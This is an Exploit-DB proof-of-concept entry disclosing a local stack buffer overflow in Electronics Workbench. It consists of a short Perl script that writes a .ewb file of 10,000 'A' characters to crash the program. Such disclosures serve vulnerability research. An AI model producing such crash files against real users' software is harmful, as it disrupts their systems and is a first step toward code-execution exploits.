Electronics Workbench - '.ewb' Local Stack Overflow (PoC)

EDB-ID:

7307

Author:

Zigma

Type:

dos

Platform:

Windows

Published:

2008-11-30

#!/usr/local/bin/perl 
#
#
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#
# [+] Application               : Electronics Workbench
# 
# [+] Application's Description : (" Electronics Workbench sets the standard for affordable simulators.
#                                    The tight integration of its schematic editor, SPICE simulator and
#                                    on-screen waveforms makes what-if scenarios easy and instant.
#                                    The exceptional features of this latest release will come as no
#                                    surprise to our 80,000 previous customers. Value, power and ease of
#                                    use are what Electronics Workbench has always stood for.")
#                                    
# [+] Bug                       : Local .EWB File Stack Buffer Overflow (PoC)
# 
# [+] Author                    : Underz0ne Crew
#                                 Zigma
#
# I just got the program from my Elctronic's professor , Instead of simulating my homework I fuzzed it , I think I m geek :S , whatever 
#
$filename = "fuzz.ewb";

$overflow = "A" x 10000;

print "\n\n[+] Evil file to fuzz : $filename ...\r\n";
sleep(2);

open(ewb, ">./$filename") || die "\nCannot open $filename: $!";

print ewb "$overflow";

close (ewb);

print "\n[+]  file successfully created!\r\n";

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